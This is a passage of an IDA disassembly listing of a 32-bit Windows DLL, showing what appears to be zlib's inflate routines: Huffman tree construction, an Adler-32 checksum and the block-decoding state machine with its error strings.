sub_10004654+2ACj mov ecx, [ebp+var_10] add [ebp+var_10], 0FFFFFFFFh test ecx, ecx jnz loc_10004905 inc [ebp+var_20] add [ebp+var_44], 4 mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jle loc_100048F8 loc_10004B2B: ; CODE XREF: sub_10004654+29Ej cmp [ebp+var_3C], 0 mov eax, 0FFFFFFFBh jz short loc_10004B3C cmp [ebp+var_14], 1 jnz short loc_10004B3F loc_10004B3C: ; CODE XREF: sub_10004654+4E0j add eax, 5 loc_10004B3F: ; CODE XREF: sub_10004654+105j ; sub_10004654+1AAj ... pop esi pop ebx mov esp, ebp pop ebp retn 1Ch sub_10004654 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004B48 proc near ; CODE XREF: sub_10004F78+715p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov ebx, [ebp+arg_0] xor eax, eax mov [ebp+var_C], eax mov ecx, 4 mov edx, 13h mov eax, [ebx+28h] call dword ptr [ebx+20h] mov [ebp+var_10], eax test eax, eax jnz short loc_10004B7E mov eax, 0FFFFFFFCh jmp short loc_10004BDB ; --------------------------------------------------------------------------- loc_10004B7E: ; CODE XREF: sub_10004B48+2Dj push 0 push 0 mov edx, [ebp+var_8] push edx lea edx, [ebp+var_C] mov ecx, [ebp+var_4] push ecx mov eax, [ebp+arg_4] push eax push edx mov ecx, [ebp+var_10] mov edx, 13h push ecx mov ecx, 13h mov eax, esi call sub_10004654 mov esi, eax cmp esi, 0FFFFFFFDh jnz short loc_10004BB7 mov dword ptr [ebx+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"... jmp short loc_10004BD0 ; --------------------------------------------------------------------------- loc_10004BB7: ; CODE XREF: sub_10004B48+64j cmp esi, 0FFFFFFFBh jz short loc_10004BC4 mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jnz short loc_10004BD0 loc_10004BC4: ; CODE XREF: sub_10004B48+72j mov dword ptr [ebx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree" mov esi, 0FFFFFFFDh loc_10004BD0: ; CODE XREF: sub_10004B48+6Dj ; sub_10004B48+7Aj mov edx, [ebp+var_10] mov eax, [ebx+28h] call dword ptr [ebx+24h] mov eax, esi loc_10004BDB: ; CODE XREF: sub_10004B48+34j pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_10004B48 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004BE4 proc near ; CODE XREF: sub_10004F78+A20p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov esi, [ebp+arg_0] xor eax, eax mov [ebp+var_10], eax mov ecx, 4 mov edx, 120h mov eax, [esi+28h] call dword ptr [esi+20h] mov [ebp+var_14], eax test eax, eax jnz short loc_10004C1E mov eax, 0FFFFFFFCh jmp loc_10004D1B ; --------------------------------------------------------------------------- loc_10004C1E: ; CODE XREF: sub_10004BE4+2Ej push offset dword_10008518 push offset dword_10008594 mov edx, [ebp+arg_C] push edx lea edx, [ebp+var_10] mov ecx, [ebp+arg_14] push ecx mov eax, [ebp+arg_4] push eax push edx mov ecx, [ebp+var_14] push ecx mov ecx, 101h mov edx, [ebp+var_4] mov eax, [ebp+var_C] call sub_10004654 mov ebx, eax test ebx, ebx jnz short loc_10004C5A mov eax, [ebp+arg_14] cmp dword ptr [eax], 0 jnz short loc_10004C89 loc_10004C5A: ; CODE XREF: sub_10004BE4+6Cj cmp ebx, 0FFFFFFFDh jnz short loc_10004C68 mov dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree" jmp short loc_10004C79 ; --------------------------------------------------------------------------- loc_10004C68: ; CODE XREF: sub_10004BE4+79j cmp ebx, 0FFFFFFFCh jz short loc_10004C79 mov dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree" mov ebx, 0FFFFFFFDh loc_10004C79: ; CODE XREF: sub_10004BE4+82j ; sub_10004BE4+87j mov edx, [ebp+var_14] mov eax, [esi+28h] call dword ptr [esi+24h] mov eax, ebx jmp loc_10004D1B ; --------------------------------------------------------------------------- loc_10004C89: ; CODE XREF: sub_10004BE4+74j push offset dword_10008610 push offset dword_10008688 mov edx, [ebp+arg_8] push edx lea edx, [ebp+var_10] mov ecx, [ebp+arg_10] push ecx mov eax, [ebp+arg_4] push eax push edx mov ecx, [ebp+var_14] push ecx mov eax, [ebp+var_4] mov edx, [ebp+var_8] shl eax, 2 add eax, [ebp+var_C] xor ecx, ecx call sub_10004654 mov ebx, eax test ebx, ebx jnz short loc_10004CD1 mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jnz short loc_10004D10 cmp [ebp+var_4], 101h jbe short loc_10004D10 loc_10004CD1: ; CODE XREF: sub_10004BE4+DAj cmp ebx, 0FFFFFFFDh jnz short loc_10004CDF mov dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed distance tree" jmp short loc_10004D03 ; --------------------------------------------------------------------------- loc_10004CDF: ; CODE XREF: sub_10004BE4+F0j cmp ebx, 0FFFFFFFBh jnz short loc_10004CF2 mov dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree" mov ebx, 0FFFFFFFDh jmp short loc_10004D03 ; --------------------------------------------------------------------------- loc_10004CF2: ; CODE XREF: sub_10004BE4+FEj cmp ebx, 0FFFFFFFCh jz short loc_10004D03 mov dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with lengths" mov ebx, 0FFFFFFFDh loc_10004D03: ; CODE XREF: sub_10004BE4+F9j ; sub_10004BE4+10Cj ... mov edx, [ebp+var_14] mov eax, [esi+28h] call dword ptr [esi+24h] mov eax, ebx jmp short loc_10004D1B ; --------------------------------------------------------------------------- loc_10004D10: ; CODE XREF: sub_10004BE4+E2j ; sub_10004BE4+EBj mov edx, [ebp+var_14] mov eax, [esi+28h] call dword ptr [esi+24h] xor eax, eax loc_10004D1B: ; CODE XREF: sub_10004BE4+35j ; sub_10004BE4+A0j ... pop esi pop ebx mov esp, ebp pop ebp retn 18h sub_10004BE4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004D24 proc near ; CODE XREF: sub_10004F78+15Cp arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, ds:dword_10008700 mov [eax], ebx mov eax, ds:dword_10008704 mov [edx], eax mov dword ptr [ecx], offset dword_10008708 mov edx, [ebp+arg_4] xor eax, eax mov dword ptr [edx], offset dword_10009708 pop ebx pop ebp retn 8 sub_10004D24 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10004D50 proc near ; CODE XREF: CODE:10004522p ; DATA XREF: sub_1000400C:loc_100040E3o push ebx push esi push edi mov edi, eax shr edi, 10h mov ebx, eax and ebx, 0FFFFh and edi, 0FFFFh push ebp mov esi, edx test esi, esi mov ebp, ecx jnz short loc_10004D79 mov eax, 1 jmp loc_10004E74 ; --------------------------------------------------------------------------- loc_10004D79: ; CODE XREF: sub_10004D50+1Dj test ebp, ebp jbe loc_10004E6D loc_10004D81: ; CODE XREF: sub_10004D50+117j cmp ebp, 15B0h jnb short loc_10004D8D mov eax, ebp jmp short loc_10004D92 ; --------------------------------------------------------------------------- loc_10004D8D: ; CODE XREF: sub_10004D50+37j mov eax, 15B0h loc_10004D92: ; CODE XREF: sub_10004D50+3Bj sub ebp, eax cmp eax, 10h jl loc_10004E3B loc_10004D9D: ; CODE XREF: sub_10004D50+E5j xor edx, edx xor ecx, ecx mov dl, [esi] mov cl, [esi+1] add ebx, edx xor edx, edx add edi, ebx add ebx, ecx mov dl, [esi+2] add edi, ebx add ebx, edx xor ecx, ecx mov cl, [esi+3] add edi, ebx add ebx, ecx xor edx, edx mov dl, [esi+4] add edi, ebx add ebx, edx xor ecx, ecx mov cl, [esi+5] add edi, ebx add ebx, ecx xor edx, edx mov dl, [esi+6] add edi, ebx add ebx, edx xor ecx, ecx mov cl, [esi+7] add edi, ebx add ebx, ecx xor edx, edx mov dl, [esi+8] add edi, ebx add ebx, edx xor ecx, ecx mov cl, [esi+9] add edi, ebx add ebx, ecx xor edx, edx mov dl, [esi+0Ah] add edi, ebx add ebx, edx xor ecx, ecx mov cl, [esi+0Bh] add edi, ebx add ebx, ecx xor edx, edx mov dl, [esi+0Ch] add edi, ebx add ebx, edx xor ecx, ecx mov cl, [esi+0Dh] add edi, ebx add ebx, ecx xor edx, edx mov dl, [esi+0Eh] add edi, ebx add ebx, edx xor ecx, ecx mov cl, [esi+0Fh] add edi, ebx add ebx, ecx add esi, 10h add edi, ebx sub eax, 10h cmp eax, 10h jge loc_10004D9D loc_10004E3B: ; CODE XREF: sub_10004D50+47j test eax, eax jz short loc_10004E4B loc_10004E3F: ; CODE XREF: sub_10004D50+F9j xor edx, edx mov dl, [esi] add ebx, edx inc esi add edi, ebx dec eax jnz short loc_10004E3F loc_10004E4B: ; CODE XREF: sub_10004D50+EDj mov ecx, 0FFF1h mov eax, ebx xor edx, edx div ecx mov ebx, edx mov ecx, 0FFF1h mov eax, edi xor edx, edx div ecx mov edi, edx test ebp, ebp ja loc_10004D81 loc_10004E6D: ; CODE XREF: sub_10004D50+2Bj mov eax, edi shl eax, 10h or eax, ebx loc_10004E74: ; CODE XREF: sub_10004D50+24j pop ebp pop edi pop esi pop ebx retn sub_10004D50 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004E7C proc near ; CODE XREF: sub_10003F84+3Dp ; sub_10004128+2B0p ... push ebx push esi mov esi, edx mov ebx, eax test ecx, ecx jz short loc_10004E8B mov eax, [ebx+3Ch] mov [ecx], eax loc_10004E8B: ; CODE XREF: sub_10004E7C+8j mov eax, [ebx] cmp eax, 4 jz short loc_10004E97 cmp eax, 5 jnz short loc_10004EA0 loc_10004E97: ; CODE XREF: sub_10004E7C+14j mov edx, [ebx+0Ch] mov eax, [esi+28h] call dword ptr [esi+24h] loc_10004EA0: ; CODE XREF: sub_10004E7C+19j cmp dword ptr [ebx], 6 jnz short loc_10004EAF mov edx, esi mov eax, [ebx+4] call sub_100065A0 loc_10004EAF: ; CODE XREF: sub_10004E7C+27j xor edx, edx xor ecx, ecx mov [ebx], edx xor eax, eax mov [ebx+1Ch], ecx mov [ebx+20h], eax mov edx, [ebx+28h] mov [ebx+34h], edx mov [ebx+30h], edx cmp dword ptr [ebx+38h], 0 jz short loc_10004EDB xor ecx, ecx xor edx, edx xor eax, eax call dword ptr [ebx+38h] mov [ebx+3Ch], eax mov [esi+30h], eax loc_10004EDB: ; CODE XREF: sub_10004E7C+4Ej pop esi pop ebx retn sub_10004E7C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10004EE0 proc near ; CODE XREF: sub_1000400C+DEp var_10 = dword ptr -10h push ebx push esi push edi mov esi, eax push ecx mov [esp+10h+var_10], edx mov edi, ecx mov ecx, 40h mov edx, 1 mov eax, [esi+28h] call dword ptr [esi+20h] mov ebx, eax test eax, eax jnz short loc_10004F05 mov eax, ebx jmp short loc_10004F70 ; --------------------------------------------------------------------------- loc_10004F05: ; CODE XREF: sub_10004EE0+1Fj mov ecx, 5A0h mov edx, 8 mov eax, [esi+28h] call dword ptr [esi+20h] mov [ebx+24h], eax test eax, eax jnz short loc_10004F28 mov edx, ebx mov eax, [esi+28h] call dword ptr [esi+24h] xor eax, eax jmp short loc_10004F70 ; --------------------------------------------------------------------------- loc_10004F28: ; CODE XREF: sub_10004EE0+3Aj mov ecx, edi mov edx, 1 mov eax, [esi+28h] call dword ptr [esi+20h] mov [ebx+28h], eax test eax, eax jnz short loc_10004F51 mov edx, [ebx+24h] mov eax, [esi+28h] call dword ptr [esi+24h] mov edx, ebx mov eax, [esi+28h] call dword ptr [esi+24h] xor eax, eax jmp short loc_10004F70 ; --------------------------------------------------------------------------- loc_10004F51: ; CODE XREF: sub_10004EE0+5Aj mov edx, [ebx+28h] xor eax, eax add edx, edi mov [ebx+2Ch], edx mov edx, esi mov ecx, [esp+10h+var_10] mov [ebx+38h], ecx mov [ebx], eax mov eax, ebx xor ecx, ecx call sub_10004E7C mov eax, ebx loc_10004F70: ; CODE XREF: sub_10004EE0+23j ; sub_10004EE0+46j ... pop edx pop edi pop esi pop ebx retn sub_10004EE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004F78 proc near ; CODE XREF: sub_10004128+270p var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFC4h mov esi, edx mov ebx, eax mov [esp+4Ch+var_4C], ecx mov eax, [esi] mov [esp+4Ch+var_40], eax mov edx, [esi+4] mov [esp+4Ch+var_3C], edx mov ecx, [ebx+20h] mov [esp+4Ch+var_44], ecx mov edi, [ebx+1Ch] mov eax, [ebx+34h] mov [esp+4Ch+var_38], eax mov edx, [esp+4Ch+var_38] cmp edx, [ebx+30h] jnb short loc_10004FB7 mov ebp, [ebx+30h] sub ebp, [esp+4Ch+var_38] dec ebp jmp short loc_10004FBE ; --------------------------------------------------------------------------- loc_10004FB7: ; CODE XREF: sub_10004F78+33j mov ebp, [ebx+2Ch] sub ebp, [esp+4Ch+var_38] loc_10004FBE: ; CODE XREF: sub_10004F78+3Dj ; sub_10004F78+11Dj ... mov eax, [ebx] cmp eax, 9 ; switch 10 cases ja loc_10005BFD ; default jmp off_10004FD0[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_10004FD0 dd offset loc_10004FF8 ; DATA XREF: sub_10004F78+51r dd offset loc_100051B2 ; jump table for switch statement dd offset loc_100052B4 dd offset loc_10005453 dd offset loc_10005649 dd offset loc_10005920 dd offset loc_10005A62 dd offset loc_10005B08 dd offset loc_10005B85 dd offset loc_10005BC1 ; --------------------------------------------------------------------------- loc_10004FF8: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o cmp edi, 3 ; jumptable 10004FC9 case 0 jnb short loc_10005065 loc_10004FFD: ; CODE XREF: sub_10004F78+EBj cmp [esp+4Ch+var_3C], 0 jz short loc_1000500B xor edx, edx mov [esp+4Ch+var_4C], edx jmp short loc_10005043 ; --------------------------------------------------------------------------- loc_1000500B: ; CODE XREF: sub_10004F78+8Aj mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005043: ; CODE XREF: sub_10004F78+91j mov ecx, edi dec [esp+4Ch+var_3C] mov edx, [esp+4Ch+var_40] mov al, [edx] xor edx, edx mov dl, al shl edx, cl or [esp+4Ch+var_44], edx inc [esp+4Ch+var_40] add edi, 8 cmp edi, 3 jb short loc_10004FFD loc_10005065: ; CODE XREF: sub_10004F78+83j mov ecx, [esp+4Ch+var_44] and ecx, 7 mov [esp+4Ch+var_48], ecx mov eax, [esp+4Ch+var_48] and eax, 1 mov [ebx+18h], eax mov edx, [esp+4Ch+var_48] shr edx, 1 sub edx, 1 jb short loc_1000509A jz short loc_100050C2 dec edx jz loc_1000514B dec edx jz loc_1000515E jmp loc_10004FBE ; --------------------------------------------------------------------------- loc_1000509A: ; CODE XREF: sub_10004F78+10Bj shr [esp+4Ch+var_44], 3 sub edi, 3 mov ecx, edi and ecx, 7 mov [esp+4Ch+var_48], ecx mov ecx, [esp+4Ch+var_48] shr [esp+4Ch+var_44], cl sub edi, [esp+4Ch+var_48] mov dword ptr [ebx], 1 jmp loc_10004FBE ; --------------------------------------------------------------------------- loc_100050C2: ; CODE XREF: sub_10004F78+10Dj lea eax, [esp+4Ch+var_28] push eax push esi lea ecx, [esp+54h+var_2C] lea edx, [esp+54h+var_30] lea eax, [esp+54h+var_34] call sub_10004D24 mov eax, [esp+4Ch+var_28] push eax push esi mov ecx, [esp+54h+var_2C] mov edx, [esp+54h+var_30] mov eax, [esp+54h+var_34] call sub_10005CA0 mov [ebx+4], eax cmp dword ptr [ebx+4], 0 jnz short loc_10005138 mov [esp+4Ch+var_4C], 0FFFFFFFCh mov edx, [esp+4Ch+var_44] mov [ebx+20h], edx mov [ebx+1Ch], edi mov ecx, [esp+4Ch+var_3C] mov [esi+4], ecx mov eax, [esp+4Ch+var_40] sub eax, [esi] add [esi+8], eax mov eax, ebx mov edx, [esp+4Ch+var_40] mov [esi], edx mov edx, esi mov ecx, [esp+4Ch+var_38] mov [ebx+34h], ecx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005138: ; CODE XREF: sub_10004F78+17Fj shr [esp+4Ch+var_44], 3 sub edi, 3 mov dword ptr [ebx], 6 jmp loc_10004FBE ; --------------------------------------------------------------------------- loc_1000514B: ; CODE XREF: sub_10004F78+110j shr [esp+4Ch+var_44], 3 sub edi, 3 mov dword ptr [ebx], 3 jmp loc_10004FBE ; --------------------------------------------------------------------------- loc_1000515E: ; CODE XREF: sub_10004F78+117j shr [esp+4Ch+var_44], 3 mov dword ptr [ebx], 9 sub edi, 3 mov dword ptr [esi+18h], offset aInvalidBlockTy ; "invalid block type" mov [esp+4Ch+var_4C], 0FFFFFFFDh mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100051B2: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o cmp edi, 20h ; jumptable 10004FC9 case 1 jnb short loc_1000521F loc_100051B7: ; CODE XREF: sub_10004F78+2A5j cmp [esp+4Ch+var_3C], 0 jz short loc_100051C5 xor ecx, ecx mov [esp+4Ch+var_4C], ecx jmp short loc_100051FD ; --------------------------------------------------------------------------- loc_100051C5: ; CODE XREF: sub_10004F78+244j mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100051FD: ; CODE XREF: sub_10004F78+24Bj mov ecx, edi dec [esp+4Ch+var_3C] mov eax, [esp+4Ch+var_40] mov dl, [eax] xor eax, eax mov al, dl shl eax, cl or [esp+4Ch+var_44], eax inc [esp+4Ch+var_40] add edi, 8 cmp edi, 20h jb short loc_100051B7 loc_1000521F: ; CODE XREF: sub_10004F78+23Dj mov edx, [esp+4Ch+var_44] mov eax, [esp+4Ch+var_44] not edx shr edx, 10h and eax, 0FFFFh and edx, 0FFFFh cmp eax, edx jz short loc_10005287 mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidStoredB ; "invalid stored block lengths" mov [esp+4Ch+var_4C], 0FFFFFFFDh mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005287: ; CODE XREF: sub_10004F78+2C1j mov edx, eax mov [ebx+4], edx xor ecx, ecx mov edi, ecx mov [esp+4Ch+var_44], ecx test edx, edx jz short loc_1000529F mov eax, 2 jmp short loc_100052AD ; --------------------------------------------------------------------------- loc_1000529F: ; CODE XREF: sub_10004F78+31Ej cmp dword ptr [ebx+18h], 0 mov eax, 7 jnz short loc_100052AD add eax, 0FFFFFFF9h loc_100052AD: ; CODE XREF: sub_10004F78+325j ; sub_10004F78+330j mov [ebx], eax jmp loc_10004FBE ; --------------------------------------------------------------------------- loc_100052B4: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o cmp [esp+4Ch+var_3C], 0 ; jumptable 10004FC9 case 2 jnz short loc_100052F3 mov edx, [esp+4Ch+var_44] mov [ebx+20h], edx mov [ebx+1Ch], edi mov ecx, [esp+4Ch+var_3C] mov [esi+4], ecx mov eax, [esp+4Ch+var_40] sub eax, [esi] add [esi+8], eax mov eax, ebx mov edx, [esp+4Ch+var_40] mov [esi], edx mov edx, esi mov ecx, [esp+4Ch+var_38] mov [ebx+34h], ecx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100052F3: ; CODE XREF: sub_10004F78+341j test ebp, ebp jnz loc_100053DA mov eax, [esp+4Ch+var_38] cmp eax, [ebx+2Ch] jnz short loc_1000532D mov edx, [ebx+30h] cmp edx, [ebx+28h] jz short loc_1000532D mov ecx, [ebx+28h] mov [esp+4Ch+var_38], ecx mov eax, [esp+4Ch+var_38] cmp eax, [ebx+30h] jnb short loc_10005326 mov ebp, [ebx+30h] sub ebp, [esp+4Ch+var_38] dec ebp jmp short loc_1000532D ; --------------------------------------------------------------------------- loc_10005326: ; CODE XREF: sub_10004F78+3A2j mov ebp, [ebx+2Ch] sub ebp, [esp+4Ch+var_38] loc_1000532D: ; CODE XREF: sub_10004F78+38Aj ; sub_10004F78+392j ... test ebp, ebp jnz loc_100053DA mov eax, [esp+4Ch+var_38] mov edx, esi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC mov [esp+4Ch+var_4C], eax mov edx, [ebx+34h] mov [esp+4Ch+var_38], edx mov ecx, [esp+4Ch+var_38] cmp ecx, [ebx+30h] jnb short loc_10005365 mov ebp, [ebx+30h] sub ebp, [esp+4Ch+var_38] dec ebp jmp short loc_1000536C ; --------------------------------------------------------------------------- loc_10005365: ; CODE XREF: sub_10004F78+3E1j mov ebp, [ebx+2Ch] sub ebp, [esp+4Ch+var_38] loc_1000536C: ; CODE XREF: sub_10004F78+3EBj mov eax, [esp+4Ch+var_38] cmp eax, [ebx+2Ch] jnz short loc_1000539E mov edx, [ebx+30h] cmp edx, [ebx+28h] jz short loc_1000539E mov ecx, [ebx+28h] mov [esp+4Ch+var_38], ecx mov eax, [esp+4Ch+var_38] cmp eax, [ebx+30h] jnb short loc_10005397 mov ebp, [ebx+30h] sub ebp, [esp+4Ch+var_38] dec ebp jmp short loc_1000539E ; --------------------------------------------------------------------------- loc_10005397: ; CODE XREF: sub_10004F78+413j mov ebp, [ebx+2Ch] sub ebp, [esp+4Ch+var_38] loc_1000539E: ; CODE XREF: sub_10004F78+3FBj ; sub_10004F78+403j ... test ebp, ebp jnz short loc_100053DA mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100053DA: ; CODE XREF: sub_10004F78+37Dj ; sub_10004F78+3B7j ... xor ecx, ecx mov [esp+4Ch+var_4C], ecx mov eax, [ebx+4] mov [esp+4Ch+var_48], eax mov edx, [esp+4Ch+var_48] cmp edx, [esp+4Ch+var_3C] jbe short loc_100053F8 mov ecx, [esp+4Ch+var_3C] mov [esp+4Ch+var_48], ecx loc_100053F8: ; CODE XREF: sub_10004F78+476j cmp ebp, [esp+4Ch+var_48] jnb short loc_10005402 mov [esp+4Ch+var_48], ebp loc_10005402: ; CODE XREF: sub_10004F78+484j mov eax, [esp+4Ch+var_48] push eax mov edx, [esp+50h+var_40] push edx mov ecx, [esp+54h+var_38] push ecx call sub_10003DD0 add esp, 0Ch mov eax, [esp+4Ch+var_48] add [esp+4Ch+var_40], eax mov edx, [esp+4Ch+var_48] sub [esp+4Ch+var_3C], edx add [esp+4Ch+var_38], eax sub ebp, [esp+4Ch+var_48] mov ecx, [esp+4Ch+var_48] sub [ebx+4], ecx jnz loc_10004FBE cmp dword ptr [ebx+18h], 0 mov eax, 7 jnz short loc_1000544C add eax, 0FFFFFFF9h loc_1000544C: ; CODE XREF: sub_10004F78+4CFj mov [ebx], eax jmp loc_10004FBE ; --------------------------------------------------------------------------- loc_10005453: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o cmp edi, 0Eh ; jumptable 10004FC9 case 3 jnb short loc_100054C0 loc_10005458: ; CODE XREF: sub_10004F78+546j cmp [esp+4Ch+var_3C], 0 jz short loc_10005466 xor edx, edx mov [esp+4Ch+var_4C], edx jmp short loc_1000549E ; --------------------------------------------------------------------------- loc_10005466: ; CODE XREF: sub_10004F78+4E5j mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_1000549E: ; CODE XREF: sub_10004F78+4ECj mov ecx, edi dec [esp+4Ch+var_3C] mov edx, [esp+4Ch+var_40] mov al, [edx] xor edx, edx mov dl, al shl edx, cl or [esp+4Ch+var_44], edx inc [esp+4Ch+var_40] add edi, 8 cmp edi, 0Eh jb short loc_10005458 loc_100054C0: ; CODE XREF: sub_10004F78+4DEj mov ecx, [esp+4Ch+var_44] and ecx, 3FFFh mov [esp+4Ch+var_48], ecx mov [ebx+4], ecx mov eax, [esp+4Ch+var_48] and eax, 1Fh cmp eax, 1Dh ja short loc_100054EC mov edx, [esp+4Ch+var_48] shr edx, 5 and edx, 1Fh cmp edx, 1Dh jbe short loc_10005538 loc_100054EC: ; CODE XREF: sub_10004F78+563j mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aTooManyLengthO ; "too many length or distance symbols" mov [esp+4Ch+var_4C], 0FFFFFFFDh mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005538: ; CODE XREF: sub_10004F78+572j mov ecx, [esp+4Ch+var_48] shr ecx, 5 and ecx, 1Fh add eax, ecx add eax, 102h mov [esp+4Ch+var_48], eax mov ecx, 4 mov edx, [esp+4Ch+var_48] mov eax, [esi+28h] call dword ptr [esi+20h] mov [ebx+0Ch], eax test eax, eax jnz short loc_100055A2 mov [esp+4Ch+var_4C], 0FFFFFFFCh mov edx, [esp+4Ch+var_44] mov [ebx+20h], edx mov [ebx+1Ch], edi mov ecx, [esp+4Ch+var_3C] mov [esi+4], ecx mov eax, [esp+4Ch+var_40] sub eax, [esi] add [esi+8], eax mov eax, ebx mov edx, [esp+4Ch+var_40] mov [esi], edx mov edx, esi mov ecx, [esp+4Ch+var_38] mov [ebx+34h], ecx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100055A2: ; CODE XREF: sub_10004F78+5E9j shr [esp+4Ch+var_44], 0Eh sub edi, 0Eh xor eax, eax mov [ebx+8], eax mov dword ptr [ebx], 4 jmp loc_10005649 ; jumptable 10004FC9 case 4 ; --------------------------------------------------------------------------- loc_100055BA: ; CODE XREF: sub_10004F78+6DDj 